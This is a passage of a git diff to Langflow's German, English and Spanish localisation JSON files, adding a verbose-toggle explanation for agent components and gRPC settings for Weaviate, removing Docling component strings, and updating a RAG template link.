"components.weaviate.inputs.search_query.info.d9f2d336": "Geben Sie eine Suchanfrage ein, um eine Ähnlichkeitssuche durchzuführen.", "components.weaviate.inputs.search_query.placeholder.2a5ab7eb": "Geben Sie eine Suchanfrage ein...", @@ -6841,7 +6757,7 @@ "template_notes.text_sentiment_analysis.cd87cff6": "### Konfigurieren Sie Ihren Modell-Provider", "template_notes.travel_planning_agents.d6f6704d": "# 📖 README\n\nDas Reiseplanungssystem ist eine intelligente Lösung, die mehrere spezialisierte Agent-Komponenten nutzt, um bei der Planung unvergesslicher Reisen zu helfen. Stellen Sie sich jeden Mitarbeiter als Reiseexperten vor, der sich auf einen bestimmten Abschnitt Ihrer Reise spezialisiert hat. So funktioniert es:\nFür jeden Mitarbeiter ist in den **Mitarbeiteranweisungen** eine Rolle definiert, und es sind die entsprechenden **Tools** beigefügt. Der Nutzer gibt über die **Chat-Eingabe** eine Anfrage ein, und die drei Agenten erstellen auf Grundlage dieser Anfrage einen vollständigen Reiseplan.\n\n## Schnellstart\n1. Konfigurieren Sie Ihren **Modellanbieter** mit Ihren API-Anmeldedaten.\n2. Fügen Sie Ihren **Search API**-Schlüssel zur Search API-Komponente hinzu.\n2. Führen Sie den Flow im **Playground** aus.", "template_notes.twitter_thread_generator.3ee42d8b": "# 📖 README\nWillkommen beim Twitter-Thread-Generator! Dieser Ablauf hilft dir dabei, fesselnde Twitter-Threads zu erstellen, indem er deine strukturierten Eingaben in ansprechende Inhalte umwandelt.\n\n## Anleitung\n\n1. Bereiten Sie Ihre Eingaben vor\n- Tragen Sie im Feld „Kontext“ Ihre Kernbotschaft oder Geschichte ein\n- Legen Sie „Inhaltsrichtlinien“ für die Struktur und den Stil des Threads fest\n- Geben Sie den „Profiltyp“ und die „Profildetails“ an, um Ihre Markenidentität widerzuspiegeln\n- Legen Sie „Ton und Stil“ fest, um den Kommunikationsansatz vorzugeben\n- Wählen Sie das „Ausgabeformat“ (Thread) und die gewünschte Sprache\n\n2. Konfigurieren Sie die Eingabeaufforderung\n- Der Ablauf verwendet eine spezielle Vorlage für die Eingabeaufforderung, um Inhalte zu generieren\n- Stellen Sie sicher, dass alle Eingabefelder mit dem Knoten „Eingabeaufforderung“ verbunden sind\n\n3. Generierung ausführen\n- Führen Sie den Ablauf aus, um Ihre Eingaben zu verarbeiten\n- Das Modell „ OpenAI “ erstellt den Thread gemäß Ihren Vorgaben\n\n4. Überprüfen und optimieren\n- Überprüfen Sie die Ausgabe im Knoten „Chat Output“\n- Passen Sie bei Bedarf Ihre Eingaben an und führen Sie den Vorgang erneut aus, um bessere Ergebnisse zu erzielen\n\n5. Fertigstellen und veröffentlichen\n- Wenn du zufrieden bist, kopiere den generierten Thread\n- Veröffentliche ihn auf Twitter und behalte dabei die Struktur und den Ablauf bei\n\nDenk daran: Gib einen konkreten Kontext und klare Vorgaben an, um die besten Ergebnisse zu erzielen! 🚀\n", - "template_notes.vector_store_rag.4df99c9e": "# 📖 README\nRetrieval Augmented Generation (RAG) ist ein Verfahren, bei dem einem großen Sprachmodell (LLM) zusätzlicher Kontext bereitgestellt wird, indem ein Vektorspeicher vorab mit Einbettungen für relevante Inhalte geladen wird. Wenn ein Nutzer mit dem LLM chattet, werden durch eine _Ähnlichkeitssuche_ relevante Inhalte abgerufen, indem eine Einbettung der Nutzeranfrage mit den Einbettungen im Vektorspeicher\nabgeglichen wird.\n Beispielsweise könnte ein RAG-Chatbot mit Produktdaten vorbelegt werden, um Kunden dann dabei zu helfen, anhand ihrer Suchanfragen bestimmte Produkte zu finden.\n\n## Schnellstart\n1. Konfigurieren Sie Ihren **Modellanbieter** mit Ihren API-Anmeldedaten.\n 2. Wählen Sie eine Datenbank aus oder erstellen Sie mithilfe der Funktion **[Knowledge Ingestion]( http://localhost:7860/assets/knowledge-bases )** eine neue. \n 3. Öffne den **Playground**, um einen Chat mit dem 🐕 **Retriever**-Flow zu starten.\n\n\n\n## Nächste Schritte\nProbieren Sie aus, wie sich die Antworten des LLM ändern, wenn Sie die Eingabeaufforderung und die geladenen Daten ändern.", "template_notes.vector_store_rag.d089e3e8": "### 💡 Konfigurieren Sie hier Ihr Sprachmodell👇", + "template_notes.vector_store_rag.e8deaec6": "# 📖 README\nRetrieval Augmented Generation (RAG) ist ein Verfahren, bei dem einem großen Sprachmodell (LLM) zusätzlicher Kontext bereitgestellt wird, indem ein Vektorspeicher vorab mit Einbettungen für relevante Inhalte geladen wird. Wenn ein Nutzer mit dem LLM chattet, werden durch eine _Ähnlichkeitssuche_ relevante Inhalte abgerufen, indem eine Einbettung der Nutzeranfrage mit den Einbettungen im Vektorspeicher\nabgeglichen wird.\n Beispielsweise könnte ein RAG-Chatbot mit Produktdaten vorbelegt werden, um Kunden dann dabei zu helfen, anhand ihrer Suchanfragen bestimmte Produkte zu finden.\n\n## Schnellstart\n1. Konfigurieren Sie Ihren **Modellanbieter** mit Ihren API-Anmeldedaten.\n 2. Wählen Sie eine Datenbank aus oder erstellen Sie mithilfe der Funktion [Knowledge Ingestion]( https://docs.langflow.org/knowledge-base ) eine neue. \n 3. Öffne den **Playground**, um einen Chat mit dem Flow zu starten.\n\n\n\n## Nächste Schritte\nProbieren Sie aus, wie sich die Antworten des LLM ändern, wenn Sie die Eingabeaufforderung und die geladenen Daten ändern.", "template_notes.youtube_analysis.8d068d5f": "# 📖 README\nDieser Flow führt eine umfassende Analyse von Videos auf YouTube durch.\n1. Videokommentare und Transkripte extrahieren.\n2. Führe mithilfe von LLM eine Stimmungsanalyse der Kommentare durch.\n3. Kombinieren Sie Transkriptinhalte und die Stimmung in den Kommentaren für eine umfassende Videoanalyse.\n## Schnellstart\n- Konfigurieren Sie Ihren **Model Provider** mit Ihren API-Anmeldedaten.\n- Fügen Sie Ihren ** **YouTube -Daten-API- v3 -Schlüssel** hinzu.\n- Falls Sie noch keinen YoutTube -API-Schlüssel haben, erstellen Sie einen in der [ Google Cloud -Konsole]( https://console.cloud.google.com ).\n- Stellen Sie sicher, dass die Chat-Eingabe eine gültige YouTube -Video- URL ist. In der Chat-Eingabekomponente ist ein Beispiel für „ URL “ enthalten.\n" -} +} \ No newline at end of file diff --git a/src/backend/base/langflow/locales/en.json b/src/backend/base/langflow/locales/en.json index 69f01063b4..a2899022b3 100644 --- a/src/backend/base/langflow/locales/en.json +++ b/src/backend/base/langflow/locales/en.json @@ -178,6 +178,7 @@ "components.altkagent.inputs.tools.display_name.ea93d6a2": "Tools", "components.altkagent.inputs.tools.info.9b5405d0": "These are the tools that the agent can use to help with tasks.", "components.altkagent.inputs.verbose.display_name.2cd57109": "Verbose", + "components.altkagent.inputs.verbose.info.2dcf7cd7": "Legacy toggle. The '> Entering new ... chain' / '> Finished chain.' markers it used to print to stdout are now gated on the LANGCHAIN_VERBOSE environment variable (off by default); set LANGCHAIN_VERBOSE=true to emit them. Toggling this input on its own no longer attaches LangChain's stdout handler. Agent steps remain visible in the UI regardless of this setting.", "components.altkagent.outputs.response.display_name.9061383b": "Response", "components.amapcomponent.description.1e1678a1": "Augment the input dataframe adding new columns defined in the input schema. Rows are processed independently and in parallel using LLMs.", "components.amapcomponent.display_name.5904ab1c": "aMap", @@ -3153,6 +3154,7 @@ "components.csvagent.inputs.project_id.display_name.c7feb8db": "watsonx Project ID", "components.csvagent.inputs.project_id.info.0d91e5f5": "The project ID associated with the foundation model (IBM watsonx.ai only)", "components.csvagent.inputs.verbose.display_name.2cd57109": "Verbose", + "components.csvagent.inputs.verbose.info.2dcf7cd7": "Legacy toggle. The '> Entering new ... chain' / '> Finished chain.' markers it used to print to stdout are now gated on the LANGCHAIN_VERBOSE environment variable (off by default); set LANGCHAIN_VERBOSE=true to emit them. Toggling this input on its own no longer attaches LangChain's stdout handler. Agent steps remain visible in the UI regardless of this setting.", "components.csvagent.outputs.agent.display_name.11b39c93": "Agent", "components.csvagent.outputs.response.display_name.9061383b": "Response", "components.csvtodata.description.4641082b": "Load a CSV file, CSV from a file path, or a valid CSV string and convert it to a list of Data", @@ -3212,6 +3214,7 @@ "components.cuga.inputs.tools.display_name.ea93d6a2": "Tools", "components.cuga.inputs.tools.info.9b5405d0": "These are the tools that the agent can use to help with tasks.", "components.cuga.inputs.verbose.display_name.2cd57109": "Verbose", + "components.cuga.inputs.verbose.info.2dcf7cd7": "Legacy toggle. The '> Entering new ... chain' / '> Finished chain.' markers it used to print to stdout are now gated on the LANGCHAIN_VERBOSE environment variable (off by default); set LANGCHAIN_VERBOSE=true to emit them. Toggling this input on its own no longer attaches LangChain's stdout handler. Agent steps remain visible in the UI regardless of this setting.", "components.cuga.inputs.web_apps.display_name.e78782c9": "Web applications", "components.cuga.inputs.web_apps.info.f9de2d88": "Cuga will automatically start this web application when Enable Browser is true. Currently only supports one web application. Example: https://example.com", "components.cuga.outputs.response.display_name.9061383b": "Response", @@ -4060,6 +4063,7 @@ "components.jsonagent.inputs.max_iterations.info.3539c521": "The maximum number of attempts the agent can make to complete its task before it stops.", "components.jsonagent.inputs.path.display_name.a1039763": "File Path", "components.jsonagent.inputs.verbose.display_name.2cd57109": "Verbose", + "components.jsonagent.inputs.verbose.info.2dcf7cd7": "Legacy toggle. The '> Entering new ... chain' / '> Finished chain.' markers it used to print to stdout are now gated on the LANGCHAIN_VERBOSE environment variable (off by default); set LANGCHAIN_VERBOSE=true to emit them. Toggling this input on its own no longer attaches LangChain's stdout handler. Agent steps remain visible in the UI regardless of this setting.", "components.jsonagent.outputs.agent.display_name.11b39c93": "Agent", "components.jsonagent.outputs.response.display_name.9061383b": "Response", "components.jsoncleaner.description.8038ce36": "Cleans the messy and sometimes incorrect JSON strings produced by LLMs so that they are fully compliant with the JSON spec.", @@ -4357,7 +4361,7 @@ "components.loopcomponent.description.dc14755d": "Iterates through Data or Message objects, processing items individually and aggregating results from loop inputs.", "components.loopcomponent.display_name.f2f6a018": "Loop", "components.loopcomponent.inputs.data.display_name.7abc49df": "Inputs", - "components.loopcomponent.inputs.data.info.bb8c0783": "The initial DataFrame to iterate over.", + "components.loopcomponent.inputs.data.info.cb3819f9": "Data to iterate over. Accepts DataFrame, Table, Data, or Message.", "components.loopcomponent.outputs.done.display_name.11a6767d": "Done", "components.loopcomponent.outputs.item.display_name.652bcc3a": "Item", "components.maritalk.description.f2ad2e6b": "Generates text using MariTalk LLMs.", @@ -4984,6 +4988,7 @@ "components.openaitoolsagent.inputs.user_prompt.display_name.5c391238": "Prompt", "components.openaitoolsagent.inputs.user_prompt.info.36ec2fbc": "This prompt must contain 'input' key.", "components.openaitoolsagent.inputs.verbose.display_name.2cd57109": "Verbose", + "components.openaitoolsagent.inputs.verbose.info.2dcf7cd7": "Legacy toggle. The '> Entering new ... chain' / '> Finished chain.' markers it used to print to stdout are now gated on the LANGCHAIN_VERBOSE environment variable (off by default); set LANGCHAIN_VERBOSE=true to emit them. Toggling this input on its own no longer attaches LangChain's stdout handler. Agent steps remain visible in the UI regardless of this setting.", "components.openaitoolsagent.outputs.agent.display_name.11b39c93": "Agent", "components.openaitoolsagent.outputs.response.display_name.9061383b": "Response", "components.openapiagent.description.f03d7897": "Agent to interact with OpenAPI API.", @@ -5006,6 +5011,7 @@ "components.openapiagent.inputs.project_id.display_name.c7feb8db": "watsonx Project ID", "components.openapiagent.inputs.project_id.info.0d91e5f5": "The project ID associated with the foundation model (IBM watsonx.ai only)", "components.openapiagent.inputs.verbose.display_name.2cd57109": "Verbose", + "components.openapiagent.inputs.verbose.info.2dcf7cd7": "Legacy toggle. The '> Entering new ... chain' / '> Finished chain.' markers it used to print to stdout are now gated on the LANGCHAIN_VERBOSE environment variable (off by default); set LANGCHAIN_VERBOSE=true to emit them. Toggling this input on its own no longer attaches LangChain's stdout handler. Agent steps remain visible in the UI regardless of this setting.", "components.openapiagent.outputs.agent.display_name.11b39c93": "Agent", "components.openapiagent.outputs.response.display_name.9061383b": "Response", "components.opendsstaragent.description.e76079fd": "A tool-based DS-Star agent using LangGraph for complex data science tasks.", @@ -5762,6 +5768,7 @@ "components.sqlagent.inputs.project_id.display_name.c7feb8db": "watsonx Project ID", "components.sqlagent.inputs.project_id.info.0d91e5f5": "The project ID associated with the foundation model (IBM watsonx.ai only)", "components.sqlagent.inputs.verbose.display_name.2cd57109": "Verbose", + "components.sqlagent.inputs.verbose.info.2dcf7cd7": "Legacy toggle. The '> Entering new ... chain' / '> Finished chain.' markers it used to print to stdout are now gated on the LANGCHAIN_VERBOSE environment variable (off by default); set LANGCHAIN_VERBOSE=true to emit them. Toggling this input on its own no longer attaches LangChain's stdout handler. Agent steps remain visible in the UI regardless of this setting.", "components.sqlagent.outputs.agent.display_name.11b39c93": "Agent", "components.sqlagent.outputs.response.display_name.9061383b": "Response", "components.sqlcomponent.description.e810341f": "Executes SQL queries on SQLAlchemy-compatible databases.", @@ -5999,6 +6006,7 @@ "components.toolcallingagent.inputs.tools.display_name.ea93d6a2": "Tools", "components.toolcallingagent.inputs.tools.info.9b5405d0": "These are the tools that the agent can use to help with tasks.", "components.toolcallingagent.inputs.verbose.display_name.2cd57109": "Verbose", + "components.toolcallingagent.inputs.verbose.info.2dcf7cd7": "Legacy toggle. The '> Entering new ... chain' / '> Finished chain.' markers it used to print to stdout are now gated on the LANGCHAIN_VERBOSE environment variable (off by default); set LANGCHAIN_VERBOSE=true to emit them. Toggling this input on its own no longer attaches LangChain's stdout handler. Agent steps remain visible in the UI regardless of this setting.", "components.toolcallingagent.outputs.agent.display_name.11b39c93": "Agent", "components.toolcallingagent.outputs.response.display_name.9061383b": "Response", "components.twelvelabspegasus.description.af6951f3": "Chat with videos using TwelveLabs Pegasus API.", @@ -6225,6 +6233,7 @@ "components.vectorstorerouteragent.inputs.max_iterations.info.3539c521": "The maximum number of attempts the agent can make to complete its task before it stops.", "components.vectorstorerouteragent.inputs.vectorstores.display_name.a6110d66": "Vector Stores", "components.vectorstorerouteragent.inputs.verbose.display_name.2cd57109": "Verbose", + "components.vectorstorerouteragent.inputs.verbose.info.2dcf7cd7": "Legacy toggle. The '> Entering new ... chain' / '> Finished chain.' markers it used to print to stdout are now gated on the LANGCHAIN_VERBOSE environment variable (off by default); set LANGCHAIN_VERBOSE=true to emit them. Toggling this input on its own no longer attaches LangChain's stdout handler. Agent steps remain visible in the UI regardless of this setting.", "components.vectorstorerouteragent.outputs.agent.display_name.11b39c93": "Agent", "components.vectorstorerouteragent.outputs.response.display_name.9061383b": "Response", "components.vertexaiembeddings.description.4c4659c9": "Generate embeddings using Google Cloud Vertex AI models.", @@ -6455,6 +6464,7 @@ "components.xmlagent.inputs.user_prompt.display_name.5c391238": "Prompt", "components.xmlagent.inputs.user_prompt.info.36ec2fbc": "This prompt must contain 'input' key.", "components.xmlagent.inputs.verbose.display_name.2cd57109": "Verbose", + "components.xmlagent.inputs.verbose.info.2dcf7cd7": "Legacy toggle. The '> Entering new ... chain' / '> Finished chain.' markers it used to print to stdout are now gated on the LANGCHAIN_VERBOSE environment variable (off by default); set LANGCHAIN_VERBOSE=true to emit them. Toggling this input on its own no longer attaches LangChain's stdout handler. Agent steps remain visible in the UI regardless of this setting.", "components.xmlagent.outputs.agent.display_name.11b39c93": "Agent", "components.xmlagent.outputs.response.display_name.9061383b": "Response", "components.yahoofinancetool.description.0802a92b": "Uses [yfinance](https://pypi.org/project/yfinance/) (unofficial package) to access financial data and market information from Yahoo! Finance.", diff --git a/src/backend/base/langflow/locales/es.json b/src/backend/base/langflow/locales/es.json index afcac2e294..30c85b156e 100644 --- a/src/backend/base/langflow/locales/es.json +++ b/src/backend/base/langflow/locales/es.json @@ -948,27 +948,6 @@ "components.chroma.outputs.dataframe.display_name.16d1c905": "Tabla", "components.chroma.outputs.search_results.display_name.39414102": "Resultados de la búsqueda", "components.chroma.outputs.search_results.info.c3d7164d": "Realiza búsquedas por similitud semántica en el almacén de vectores para encontrar documentos o archivos relevantes. Entrada: Una consulta de búsqueda en lenguaje natural (cadena). Devuelve: una lista de objetos Data (diccionarios). Cada resultado tiene la siguiente estructura: {'data': {'text': '...', ...}}. El campo «text» siempre contiene el contenido del documento encontrado. Otros campos de metadatos dependen de lo que se haya indexado (pueden incluir: «file_path», «source», «page», etc.). IMPORTANTE: Para extraer metadatos como «file_path», utiliza: `result['data'].get('file_path')` o ` result.data.get ('file_path')`. Comprueba qué campos están disponibles consultando result['data'].keys() o el primer resultado de la búsqueda.", - "components.chunkdoclingdocument.description.44e35996": "Utiliza los fragmentadores de « DocumentDocument » para dividir el documento en fragmentos.", - "components.chunkdoclingdocument.display_name.1722f954": "Fragmento DoclingDocument", - "components.chunkdoclingdocument.inputs.always_emit_headings.display_name.10da1ae6": "Mostrar siempre los encabezados", - "components.chunkdoclingdocument.inputs.always_emit_headings.info.d0f59909": "Incluye encabezados incluso en las secciones vacías.", - "components.chunkdoclingdocument.inputs.chunker.display_name.3aa06cd4": "Chunker", - "components.chunkdoclingdocument.inputs.chunker.info.b22ec24d": "¿Qué tipo de trozo se debe usar?", - "components.chunkdoclingdocument.inputs.data_inputs.display_name.6f756e77": "JSON o tabla", - "components.chunkdoclingdocument.inputs.data_inputs.info.e5dd822f": "Los datos y los documentos que hay que dividir en partes.", - "components.chunkdoclingdocument.inputs.doc_key.display_name.03e51a1a": "Doc Key", - "components.chunkdoclingdocument.inputs.doc_key.info.d7f29683": "La clave que se debe utilizar para la columna « DoclingDocument ».", - "components.chunkdoclingdocument.inputs.hf_model_name.display_name.029240f2": "Nombre del modelo HF", - "components.chunkdoclingdocument.inputs.hf_model_name.info.a4ff5667": "Nombre del modelo del tokenizador que se utilizará con el « HybridChunker » cuando se elija « Hugging Face » como tokenizador.", - "components.chunkdoclingdocument.inputs.max_tokens.display_name.98a75688": "Máximo de señales", - "components.chunkdoclingdocument.inputs.max_tokens.info.ebc4a5b8": "Número máximo de tokens para el HybridChunker.", - "components.chunkdoclingdocument.inputs.merge_peers.display_name.67b25632": "Fusionar pares", - "components.chunkdoclingdocument.inputs.merge_peers.info.64fef35c": "Combina los fragmentos de tamaño insuficiente que compartan los mismos metadatos relevantes.", - "components.chunkdoclingdocument.inputs.openai_model_name.display_name.9ea3f726": "OpenAI nombre del modelo", - "components.chunkdoclingdocument.inputs.openai_model_name.info.4a3e4d67": "Nombre del modelo del tokenizador que se utilizará con el « HybridChunker » cuando se elija « OpenAI » como tokenizador.", - "components.chunkdoclingdocument.inputs.provider.display_name.472590ae": "Proveedor", - "components.chunkdoclingdocument.inputs.provider.info.734df296": "¿Qué proveedor de tokenización?", - "components.chunkdoclingdocument.outputs.dataframe.display_name.16d1c905": "Tabla", "components.cleanlabevaluator.description.ba9ff1dd": "Evalúa cualquier respuesta de un modelo de lenguaje grande (LLM) utilizando Cleanlab y genera una puntuación de fiabilidad y una explicación.", "components.cleanlabevaluator.display_name.acc5fbce": "Evaluador de Cleanlab", "components.cleanlabevaluator.inputs.api_key.display_name.424b5af9": "Clave API de Cleanlab", @@ -3373,58 +3352,6 @@ "components.directory.inputs.use_multithreading.display_name.05e4b8e4": "Utiliza el multithreading", "components.directory.inputs.use_multithreading.info.abb48948": "Si es cierto, se utilizará el multihilo.", "components.directory.outputs.dataframe.display_name.d04e5590": "Archivos cargados", - "components.doclinginline.description.8eb32adf": "Utiliza Docling para procesar los documentos de entrada ejecutando los modelos de Docling de forma local.", - "components.doclinginline.display_name.18714c10": "Docling", - "components.doclinginline.inputs.delete_server_file_after_processing.display_name.5f06c029": "Eliminar el archivo del servidor tras el procesamiento", - "components.doclinginline.inputs.delete_server_file_after_processing.info.759b7a41": "Si es cierto, la ruta del archivo del servidor se eliminará tras el procesamiento.", - "components.doclinginline.inputs.do_picture_classification.display_name.17f39daf": "Clasificación de imágenes", - "components.doclinginline.inputs.do_picture_classification.info.a7bc4521": "Si se activa, el proceso de Docling clasificará el tipo de imágenes.", - "components.doclinginline.inputs.file_path.display_name.e2af3c2c": "Ruta del archivo del servidor", - "components.doclinginline.inputs.file_path.info.27812dd6": "Objeto de datos con una propiedad «file_path» que apunta a un archivo del servidor, o un objeto Message con la ruta de acceso al archivo. Sustituye a «Path», pero admite los mismos tipos de archivo.", - "components.doclinginline.inputs.ignore_unspecified_files.display_name.2f4bdff0": "Ignorar archivos sin especificar", - "components.doclinginline.inputs.ignore_unspecified_files.info.6db15d5b": "Si es cierto, se ignorarán los datos que no tengan la propiedad «file_path».", - "components.doclinginline.inputs.ignore_unsupported_extensions.display_name.2b309132": "Ignorar extensiones no compatibles", - "components.doclinginline.inputs.ignore_unsupported_extensions.info.c0005483": "Si se establece en «true», los archivos con extensiones no compatibles no se procesarán.", - "components.doclinginline.inputs.ocr_engine.display_name.0518cbfc": "Motor OCR", - "components.doclinginline.inputs.ocr_engine.info.139aeeed": "Motor OCR que se va a utilizar. Ninguna de ellas desactivará el OCR.", - "components.doclinginline.inputs.path.display_name.abc7e989": "Archivos", - "components.doclinginline.inputs.pic_desc_llm.display_name.7d1bb7eb": "Descripción de la imagen LLM", - "components.doclinginline.inputs.pic_desc_llm.info.6dfbf195": "Si está conectado, el modelo que se utilizará para ejecutar la tarea de descripción de imágenes.", - "components.doclinginline.inputs.pic_desc_prompt.display_name.b954ba72": "Indicación para la descripción de la imagen", - "components.doclinginline.inputs.pic_desc_prompt.info.54bc97e0": "El mensaje que se mostrará al usuario al invocar el modelo.", - "components.doclinginline.inputs.pipeline.display_name.37e1c775": "Interconexión", - "components.doclinginline.inputs.pipeline.info.38c5db3a": "Configurar el proceso de Docling para su uso", - "components.doclinginline.inputs.separator.display_name.be237eda": "Separador", - "components.doclinginline.inputs.separator.info.d54570fc": "Especifica el separador que se utilizará entre varias salidas en el formato de mensaje.", - "components.doclinginline.inputs.silent_errors.display_name.ee5bdeda": "Errores silenciosos", - "components.doclinginline.inputs.silent_errors.info.c8d76525": "Si es verdadero, los errores no provocarán una excepción.", - "components.doclinginline.outputs.dataframe.display_name.abc7e989": "Archivos", - "components.doclingremote.description.71394d2e": "Utiliza Docling para procesar los documentos de entrada conectándose a tu instancia de Docling Serve.", - "components.doclingremote.display_name.ddeb3f89": "Docling Serve", - "components.doclingremote.inputs.api_headers.display_name.fba60cef": "cabeceras HTTP", - "components.doclingremote.inputs.api_headers.info.47c263b2": "Diccionario opcional de encabezados adicionales necesarios para conectarse a Docling Serve.", - "components.doclingremote.inputs.api_url.display_name.8be89710": "Dirección del servidor", - "components.doclingremote.inputs.api_url.info.4fb8b968": "URL de la instancia de Docling Serve.", - "components.doclingremote.inputs.delete_server_file_after_processing.display_name.5f06c029": "Eliminar el archivo del servidor tras el procesamiento", - "components.doclingremote.inputs.delete_server_file_after_processing.info.759b7a41": "Si es cierto, la ruta del archivo del servidor se eliminará tras el procesamiento.", - "components.doclingremote.inputs.docling_serve_opts.display_name.213075dd": "Opciones de Docling", - "components.doclingremote.inputs.docling_serve_opts.info.44e5bb7e": "Diccionario opcional de opciones adicionales. Para más información, consulte https://github.com/docling-project/docling-serve/blob/main/docs/usage.md.", - "components.doclingremote.inputs.file_path.display_name.e2af3c2c": "Ruta del archivo del servidor", - "components.doclingremote.inputs.file_path.info.27812dd6": "Objeto de datos con una propiedad «file_path» que apunta a un archivo del servidor, o un objeto Message con la ruta de acceso al archivo. Sustituye a «Path», pero admite los mismos tipos de archivo.", - "components.doclingremote.inputs.ignore_unspecified_files.display_name.2f4bdff0": "Ignorar archivos sin especificar", - "components.doclingremote.inputs.ignore_unspecified_files.info.6db15d5b": "Si es cierto, se ignorarán los datos que no tengan la propiedad «file_path».", - "components.doclingremote.inputs.ignore_unsupported_extensions.display_name.2b309132": "Ignorar extensiones no compatibles", - "components.doclingremote.inputs.ignore_unsupported_extensions.info.c0005483": "Si se establece en «true», los archivos con extensiones no compatibles no se procesarán.", - "components.doclingremote.inputs.max_concurrency.display_name.8708492f": "Simultaneidad", - "components.doclingremote.inputs.max_concurrency.info.5b7f7b11": "Número máximo de solicitudes simultáneas para el servidor.", - "components.doclingremote.inputs.max_poll_timeout.display_name.2770e3b2": "Tiempo máximo de votación", - "components.doclingremote.inputs.max_poll_timeout.info.a280e555": "Tiempo máximo de espera para que finalice la conversión del documento.", - "components.doclingremote.inputs.path.display_name.abc7e989": "Archivos", - "components.doclingremote.inputs.separator.display_name.be237eda": "Separador", - "components.doclingremote.inputs.separator.info.d54570fc": "Especifica el separador que se utilizará entre varias salidas en el formato de mensaje.", - "components.doclingremote.inputs.silent_errors.display_name.ee5bdeda": "Errores silenciosos", - "components.doclingremote.inputs.silent_errors.info.c8d76525": "Si es verdadero, los errores no provocarán una excepción.", - "components.doclingremote.outputs.dataframe.display_name.abc7e989": "Archivos", "components.dotenv.description.8634f572": "Cargar el archivo.env en las variables de entorno", "components.dotenv.display_name.2955fde8": "Dotenv", "components.dotenv.inputs.dotenv_file_content.display_name.f62b6470": "Contenido del archivo dotenv", @@ -3509,22 +3436,6 @@ "components.exasearch.inputs.similar_num_results.display_name.707eed13": "Número similar de resultados", "components.exasearch.inputs.use_autoprompt.display_name.59695dc3": "Usar Autoprompt", "components.exasearch.outputs.tools.display_name.ea93d6a2": "Herramientas", - "components.exportdoclingdocument.description.413a23c6": "Exporta « DoclingDocument » a Markdown, HTML u otros formatos.", - "components.exportdoclingdocument.display_name.f9c3a19c": "Exportar DoclingDocument", - "components.exportdoclingdocument.inputs.data_inputs.display_name.6f756e77": "JSON o tabla", - "components.exportdoclingdocument.inputs.data_inputs.info.a8882471": "Los datos y los documentos que se van a exportar.", - "components.exportdoclingdocument.inputs.doc_key.display_name.03e51a1a": "Doc Key", - "components.exportdoclingdocument.inputs.doc_key.info.d7f29683": "La clave que se debe utilizar para la columna « DoclingDocument ».", - "components.exportdoclingdocument.inputs.export_format.display_name.df339cb8": "Exportar formato", - "components.exportdoclingdocument.inputs.export_format.info.95a45bb3": "Selecciona el formato de exportación para convertir los datos introducidos.", - "components.exportdoclingdocument.inputs.image_mode.display_name.baf2b59e": "Modo de exportación de imágenes", - "components.exportdoclingdocument.inputs.image_mode.info.658f2344": "Especifica cómo se exportan las imágenes en el archivo de salida. La opción «Placeholder» sustituirá las imágenes por una cadena de texto, mientras que la opción «Embedded» las incluirá como imágenes codificadas en formato « base64 ».", - "components.exportdoclingdocument.inputs.md_image_placeholder.display_name.3c6e2e80": "Espacio reservado para una imagen", - "components.exportdoclingdocument.inputs.md_image_placeholder.info.d5e786d5": "Especifica el marcador de posición de la imagen para las exportaciones en formato Markdown.", - "components.exportdoclingdocument.inputs.md_page_break_placeholder.display_name.2464ce40": "Marcador de salto de página", - "components.exportdoclingdocument.inputs.md_page_break_placeholder.info.6fea767e": "Añade este marcador de posición entre las páginas en el resultado de Markdown.", - "components.exportdoclingdocument.outputs.data.display_name.70557daf": "Datos exportados", - "components.exportdoclingdocument.outputs.dataframe.display_name.16d1c905": "Tabla", "components.extractakey.description.2568af44": "Extraer una clave específica de un objeto Data o de una lista de objetos Data y devolver el valor o valores extraídos como objetos Data.", "components.extractakey.display_name.0c6e10b0": "Clave de extracción", "components.extractakey.inputs.data_input.display_name.86fe6201": "Introducción de datos", @@ -4581,7 +4492,7 @@ "components.memory.inputs.template.info.e9ef56ea": "La plantilla que se debe utilizar para dar formato a los datos. Puede contener las claves {text}, {sender} o cualquier otra clave en los datos del mensaje.", "components.memory.outputs.dataframe.display_name.16d1c905": "Tabla", "components.memory.outputs.messages_text.display_name.04d7b483": "Mensajes", - "components.memorybase.description.49825d5a": "Recuperar el historial de chat de una base de datos de memoria vinculada a este flujo. Por defecto, el ámbito se limita a la sesión actual; desactive la opción «Filtrar por sesión» para recuperar datos de todas las sesiones incorporadas a esta base de memoria.", + "components.memorybase.description.03cd3f8b": "Recuperar datos de la memoria a largo plazo de una base de memoria vinculada a este flujo de trabajo. Cuando la opción «Filtrar por sesión» está desactivada, las consultas se ejecutan en todas las sesiones.", "components.memorybase.display_name.6c40130b": "Base de datos", "components.memorybase.inputs.filter_by_session.display_name.0c2249c9": "Filtrar por sesión", "components.memorybase.inputs.filter_by_session.info.ddd14a58": "Si se activa, solo se recuperarán los datos de la sesión actual. Desactivar para permitir la recuperación en todas las sesiones incorporadas a esta base de memoria (útil para la recuperación entre conversaciones).", @@ -6486,12 +6397,17 @@ "components.weaviate.display_name.e95095e1": "Weaviate", "components.weaviate.inputs.api_key.display_name.23189d55": "Clave de API", "components.weaviate.inputs.embedding.display_name.4c1a0852": "Inclusión", + "components.weaviate.inputs.grpc_host.display_name.d7b0be8f": "Host GRPC", + "components.weaviate.inputs.grpc_host.info.fe0d5a48": "gRPC servidor para una instancia de Weaviate autohospedada. Por defecto, se utiliza el servidor URL. Se ignora al conectarse a Weaviate Cloud.", + "components.weaviate.inputs.grpc_port.display_name.054b93c3": "gRPC Puerto", + "components.weaviate.inputs.grpc_port.info.a34b1dce": "gRPC puerto para una instancia de Weaviate autohospedada. Se ignora al conectarse a Weaviate Cloud.", "components.weaviate.inputs.index_name.display_name.0f53d21d": "Nombre de índice", "components.weaviate.inputs.index_name.info.b595f2c9": "El nombre del índice debe estar en mayúsculas.", "components.weaviate.inputs.ingest_data.display_name.b8c4a377": "Ingerir datos", "components.weaviate.inputs.number_of_results.display_name.e8f2e1bb": "Número de resultados", "components.weaviate.inputs.number_of_results.info.5232e01a": "Número de resultados que se mostrarán.", "components.weaviate.inputs.search_by_text.display_name.a1bfa0f3": "Buscar por texto", + "components.weaviate.inputs.search_by_text.info.a58c521e": "Se ha mantenido por motivos de compatibilidad con versiones anteriores. El cliente de Weaviate v4 selecciona automáticamente entre la búsqueda por palabra clave y la búsqueda vectorial en función de si se proporciona una representación vectorial.", "components.weaviate.inputs.search_query.display_name.3ad6e0f4": "Consulta de búsqueda", "components.weaviate.inputs.search_query.info.d9f2d336": "Introduce una consulta para realizar una búsqueda por 